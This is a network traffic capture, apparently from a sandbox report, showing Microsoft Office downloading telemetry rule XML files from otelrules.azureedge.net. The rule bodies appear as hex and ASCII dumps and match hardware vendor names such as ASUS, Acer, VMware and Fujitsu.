2024-11-20 15:51:47 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.9	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:46 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155147Z-r1d97b99577jlrkbhC1TEBq8d000000008x000000000h3bb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.9	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:46 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:47 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155147Z-185f5d8b95c5lcmhhC1NYCsnsw0000000af000000000rb9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:47 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.9	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:46 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155147Z-185f5d8b95c9mqtvhC1NYCghtc0000000ac0000000013w0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.9	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:46 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155147Z-r1d97b995778dpcthC1TEB4b5400000008y000000000f056 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.9	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:49 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155149Z-185f5d8b95c4vwv8hC1NYCy4v40000000agg00000000scn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:49 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.9	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:49 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:49 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155149Z-185f5d8b95c68cvnhC1NYCfn7s0000000ah0000000002663 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:49 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.9	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:49 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155149Z-r1d97b99577kk29chC1TEBemmg00000009700000000011z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.9	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:49 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:49 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155149Z-185f5d8b95ctl8xlhC1NYCn94g0000000ad000000000yndu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:49 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.9	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:49 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:49 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155149Z-185f5d8b95c4hl5whC1NYCeex00000000acg00000000bgh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:49 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.9	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:51 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155151Z-1777c6cb754whff4hC1TEBcd6c00000008g00000000074fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.9	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:51 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155151Z-185f5d8b95cdcwrthC1NYCy5b80000000ab000000000ssw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.9	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:51 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
